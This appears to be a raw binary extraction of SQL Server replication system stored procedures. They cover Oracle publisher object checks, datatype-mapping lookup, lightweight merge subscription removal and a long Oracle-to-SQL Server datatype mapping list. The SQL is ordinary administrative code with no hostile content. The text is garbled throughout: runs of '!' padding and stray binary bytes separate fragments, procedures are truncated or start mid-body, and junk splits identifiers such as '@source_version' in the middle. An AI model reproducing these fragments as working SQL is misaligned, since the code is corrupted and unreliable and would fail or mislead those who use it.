	-- Verify sequences
	SELECT	@objcount = COUNT(*)
	FROM	#hreplinfo
	WHERE	type = 'SEQUENCE'
	  AND	name IN
	  		(
				'HREPL_POLLID',
				'HREPL_SEQ',
				'HREPL_STMT'
			)
	
	IF 	@objcount != 3
	BEGIN
		RAISERROR(21780, 10, -1, 'sequence')
		SET @retcode = 1
	END

	-- Verify Procedures
	SELECT	@objcount = COUNT(*)
	FROM	#hreplinfo
	WHERE	type = 'PROCEDURE'
	  AND	name IN
	  		(
				'HREPL_DROPPUBLISHER',
				'HREPL_EXECUTECOMMAND'
			)
	
	IF 	@objcount != 2
	BEGIN
		RAISERROR(21780, 10, -1, 'procedure')
		SET @retcode = 1
	END

	-- Verify Packages
	SELECT	@objcount = COUNT(*)
	FROM	#hreplinfo
	WHERE	type = 'PACKAGE'
	  AND	name = 'HREPL'
	
	IF 	@objcount != 1
	BEGIN
		RAISERROR(21780, 10, -1, 'package')
		SET @retcode = 1
	END

	-- Verify Package bodies
	SELECT	@objcount = COUNT(*)
	FROM	#hreplinfo
	WHERE	type = 'PACKAGE BODY'
	  AND	name = 'HREPL'
	
	IF 	@objcount != 1
	BEGIN
		RAISERROR(21780, 10, -1, 'package body')
		SET @retcode = 1
	END

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*?0ȑ@ 28create procedure sys.sp_MSrepl_gettype_mappings
(
	@dbms_name		sysname,
	@dbms_version 		sysname = NULL,
	@sql_type		sysname = '%',
	@source_prec	int = NULL
)
as
    set nocount on
    declare @retcode int
    declare @distributor sysname
    declare @distribdb sysname
    declare @distproc nvarchar (255)
    
    EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
           @distribdb   = @distribdb OUTPUT
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.sys.sp_help_datatype_mapping'

    EXECUTE @retcode = @distproc
                       @dbms_name = @dbms_name,
                       @dbms_version = @dbms_version,
                       @sql_type = @sql_type,
                       @source_prec = @source_prec
             
    IF @@ERROR <> 0 OR @retcode <> 0
        return 1
    ELSE
        return 0
0E D8h[* 0# T8create procedure sys.sp_MSdeletelightweightsubscription
	@publication_id			uniqueidentifier
as
	declare @artid			uniqueidentifier
	declare @retcode		int
	declare @artnick		int
	declare @delbatchsize	int
	declare @delcount 		int
	declare @objid			int
	declare @publisher 		sysname
	declare @publisher_db	sysname
	declare @publication_name sysname
	declare @preserve_rowguidcol bit
	declare @table_name sysname
	declare @schema_name sysname

	select  @publisher= publisher, 
			@publisher_db= publisher_db, 
			@publication_name= name
		from dbo.sysmergepublications
		where pubid = @publication_id

	-- iterate over all articles of that publication
	declare article_curs cursor local fast_forward for 
		select distinct artid from dbo.sysmergearticles 
			where pubid = @publication_id
		for read only

	begin tran
	save tran tran_deletesubscription_lws
	
	open article_curs
	fetch next from article_curs into @artid

	while (@@fetch_status <> -1)
	begin
		-- Delete the article procs.
		exec @retcode= sys.sp_MSdroplightweightarticleprocs @pubid=@publication_id, @artid=@artid
		if @@error<>0 or @retcode<>0 goto FailureDropSub
	
		-- If the current article does not belong to another publication,
		-- remove the triggers, the MSmerge_rowtrack entries, the MSmerge_idrange entry,
		-- the article-specific conflict table, conflict info.
		if 1 = (select count(*) from dbo.sysmergearticles where artid = @artid)
		begin
            -- set the article status to indicate it is in no other publication,
            -- and it is about to be removed.
            update dbo.sysmergearticles set status= 7
                where pubid = @publication_id and artid = @artid
            
			exec @retcode= sys.sp_MSdroplightweighttriggers @artid=@artid
			if @@error<>0 or @retcode<>0 goto FailureDropSub

			-- remove the MSmerge_rowtrack entries
			select @artnick= nickname from dbo.sysmergearticles where artid = @artid
			set @delbatchsize= 5000
			set @delcount= @delbatchsize
			while @delcount = @delbatchsize
			begin
				delete top (@delbatchsize) from dbo.MSmerge_rowtrack where tablenick = @artnick
				set @delcount= @@rowcount
			end

			-- remove the entry in MSmerge_idrange
			set @objid= (select objid from dbo.sysmergearticles where artid = @artid)
			if @objid is not null and 
			   1 = (select count(*) from dbo.sysmergearticles where objid = @objid)
			begin
				delete from dbo.MSmerge_idrange where objid = @objid
			end

			-- Drop the article-specific conflict table.
			exec @retcode= sys.sp_MSdrop_article_conflict_table @pubid=@publication_id, @artid=@artid
			if @@error<>0 or @retcode<>0 return 1

			-- Delete conflict info.
			if object_id('MSmerge_conflicts_info') is not NULL
			begin
				delete from dbo.MSmerge_conflicts_info where tablenick = @artnick
			end

			-- Drop the rowguidcol if it was created for replication only.
			select @preserve_rowguidcol= preserve_rowguidcol
			    from dbo.sysmergearticles 
			    where pubid=@publication_id and artid=@artid

            if 0=@preserve_rowguidcol 
		-- presever rowguidcol if the table has filestream column
	       and not exists (select * from sys.columns where object_id = @objid and is_filestream = 1)                   
            begin
                select @schema_name = OBJECT_SCHEMA_NAME(@objid)
				select @table_name = OBJECT_NAME(@objid)
				if @@error<>0 or @table_name is null or @schema_name is null return 1
                
                exec @retcode= sys.sp_MSdropguidcolumn @schemaname=@schema_name, @tablename=@table_name
                if @@error<>0 or @retcode<>0 return 1
            end
		end

		-- Remove the entry in MSmerge_filteringcolumns_lightweight
		delete from dbo.MSmerge_filteringcolumns_lightweight
			where publication_id = @publication_id and tablenick = @artnick
			
		-- Remove the entry in sysmergearticles
		delete from dbo.sysmergearticles
			where pubid = @publication_id and artid = @artid

		-- get next article
		fetch next from article_curs into @artid
	end

	close article_curs
	deallocate article_curs

	-- iterate over all schema articles of that publication
	declare schemaarticle_curs cursor local fast_forward for 
		select distinct artid from dbo.sysmergeschemaarticles 
			where pubid = @publication_id
		for read only

	open schemaarticle_curs
	fetch next from schemaarticle_curs into @artid

	while (@@fetch_status <> -1)
	begin
		-- Remove the entry in sysmergeschemaarticles
		delete from dbo.sysmergeschemaarticles
			where pubid = @publication_id and artid = @artid
		fetch next from schemaarticle_curs into @artid
	end

	close schemaarticle_curs
	deallocate schemaarticle_curs

	-- remove the subscription
	delete from dbo.sysmergepublications where pubid = @publication_id

	-- delete supportability settings for the subscriptions that we are about to delete.
    if object_id('MSmerge_supportability_settings','U') is not NULL
    begin
		delete from dbo.MSmerge_supportability_settings where pubid = @publication_id       	
		delete from dbo.MSmerge_log_files where pubid = @publication_id
	end
        
	delete from dbo.sysmergesubscriptions where pubid = @publication_id
	if @@error <> 0 goto FailureDropSub

	-- If the only remaining subscriptions were made before the last restore,
	-- we remove them now.
	if not exists (select * from dbo.sysmergesubscriptions 
						where status <> 7) -- REPLICA_STATUS_BeforeRestore
	begin
		delete from dbo.sysmergesubscriptions
		truncate table dbo.MSmerge_supportability_settings
		truncate table dbo.MSmerge_log_files
		if @@error <> 0 goto FailureDropSub
	end
	
	commit tran
	return 0

FailureDropSub:
	raiserror(14056, 16, -1)
	goto Failure
	
Failure:
	rollback tran tran_deletesubscription_lws
	commit tran
	close article_curs
	deallocate article_curs
	return 1
erver
        end

    if @show_distdb = 0
        select * from #distribution_agent 
    else 
        select 'dbname' = DB_NAME(), * from #distribution_agent

    drop table #distribution_agent
    close hC
    deallocate hC
end
0E D8h[* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4RBvF
--
-- Name:
--		sp_MSrepl_ORA_MSSQL_datatypemappings
--
-- Description:
--		Define Oracle to SQL Server data type mappings
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_ORA_MSSQL_datatypemappings
(
	@source_dbms			sysname,
	@source_version			sysname = NULL,
	@destination_dbms		sysname,
	@destination_version		sysname = NULL
)
AS
BEGIN
    DECLARE @msg nvarchar(4000)
    SELECT @msg = 'Creating datatype mappings for ' +
                    @source_dbms +
                    CASE
                        WHEN @source_version IS NOT NULL THEN @source_version
                        ELSE N''
                    END + ' to ' +
                    @destination_dbms + 
                    CASE
                        WHEN @destination_version IS NOT NULL THEN @destination_version
                        ELSE N''
                    END
    PRINT @msg

	-- CHAR(n)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CHAR',
											@source_length_min		= 1,
											@source_length_max		= 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'char',
											@destination_length		= -1,
											@destination_nullable	= 1,
											@is_default				= 1
								
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CHAR',
											@source_length_min		= 1,
											@source_length_max		= 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nchar',
											@destination_length		= -1,
											@destination_nullable	= 1

	-- NCHAR(n)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NCHAR',
											@source_length_min		= 1,
											@source_length_max		= 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nchar',
											@destination_length		= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- VARCHAR2(n)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'VARCHAR2',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length		= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'VARCHAR2',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nvarchar',
											@destination_length		= -1,
											@destination_nullable	= 1

	-- NVARCHAR2(n)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NVARCHAR2',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nvarchar',
											@destination_length		= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- LONG
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'LONG',
											@source_length_min		= 0,
											@source_length_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'LONG',
											@source_length_min		= 0,
											@source_length_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'ntext',
											@destination_nullable	= 1,
											@dataloss               = 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'LONG',
											@source_length_min		= 0,
											@source_length_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar(max)',
											@destination_nullable	= 1,
											@dataloss               = 1,
											@is_default				= 1
	
	-- CLOB
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'ntext',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar(max)',
											@destination_nullable	= 1,
                                            @dataloss               = 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'CLOB',
											@source_length_min		= 1,
											@source_length_max		= 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nvarchar(max)',
											@destination_nullable	= 1,
                                            @dataloss               = 1

	IF @source_version LIKE '8%'
	BEGIN
		-- NCLOB (Oracle 8)
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
												@sou!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4vFrce_version			= @source_version,
												@source_type			= 'NCLOB',
												@source_length_min		= 1,
												@source_length_max		= 4000,
												@source_nullable		= 1,
												@destination_dbms		= @destination_dbms,
												@destination_version	= @destination_version,
												@destination_type		= 'ntext',
												@destination_nullable	= 1,
                                                @dataloss               = 1

		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
												@source_version			= @source_version,
												@source_type			= 'NCLOB',
												@source_length_min		= 1,
												@source_length_max		= 4000,
												@source_nullable		= 1,
												@destination_dbms		= @destination_dbms,
												@destination_version	= @destination_version,
												@destination_type		= 'nvarchar(max)',
												@destination_nullable	= 1,
                                                @dataloss               = 1,
 												@is_default				= 1

	END
	ELSE
	BEGIN
		-- NCLOB (Oracle 9+)
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
												@source_version			= @source_version,
												@source_type			= 'NCLOB',
												@source_length_min		= 1,
												@source_length_max		= 2000,
												@source_nullable		= 1,
												@destination_dbms		= @destination_dbms,
												@destination_version	= @destination_version,
												@destination_type		= 'ntext',
												@destination_nullable	= 1,
                                                @dataloss               = 1

		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
												@source_version			= @source_version,
												@source_type			= 'NCLOB',
												@source_length_min		= 1,
												@source_length_max		= 2000,
												@source_nullable		= 1,
												@destination_dbms		= @destination_dbms,
												@destination_version	= @destination_version,
												@destination_type		= 'nvarchar(max)',
												@destination_nullable	= 1,
                                                @dataloss               = 1,
 												@is_default				= 1
	END

	-- NUMBER (INT) == ORACLE 38-bit precision INTEGER ( NUMBER(NULL,0) )
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= 38,
											@destination_scale		= 0,
											@destination_nullable	= 1,
											@is_default				= 1


	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'int',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'tinyint',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallint',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'bigint',
											@destination_nullable	= 1,
											@dataloss				= 1
	
	-- NUMBER(p)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	/*
	 * INT mappings are left up to the user to add themselves in order to simplify choices
	 *
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'tinyint',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallint',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'int',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(49>vF@destination_type		= 'bigint',
											@destination_nullable	= 1
	*
	*/

	-- NUMBER (x,0)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= -1,
											@destination_scale		= 0,
											@destination_nullable	= 1,
											@is_default				= 1


	/*
	 * INT mappings are left up to the user to add themselves in order to simplify choices
	 *
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'int',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'tinyint',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallint',
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 0,
											@source_scale_max		= 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'bigint',
											@destination_nullable	= 1
	*
	*/

	-- NUMBER(p,s) where s > 0
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 38,
											@source_scale_min		= 1,
											@source_scale_max		= 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= -1,
											@destination_scale		= -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- NUMBER
	-- Default equivalent to max standard SQL Server numeric value
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= 38,
											@destination_scale		= 8,
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= 38,
											@destination_scale		= 0,
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision	= 38,
											@destination_scale		= 38,
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'real',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length		= 40,
											@destination_nullable	= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'tinyint',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			=!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(48ZTvF @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'smallint',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'int',
											@destination_nullable	= 1,
											@dataloss				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'NUMBER',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'bigint',
											@destination_nullable	= 1,
											@dataloss				= 1

	-- FLOAT
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'FLOAT',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@dataloss				= 1,
											@is_default				= 1

	-- FLOAT(p) 1-53
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'FLOAT',
											@source_length_min		= 22,
											@source_length_max		= 22,
											@source_precision_min	= 1,
											@source_precision_max	= 53,
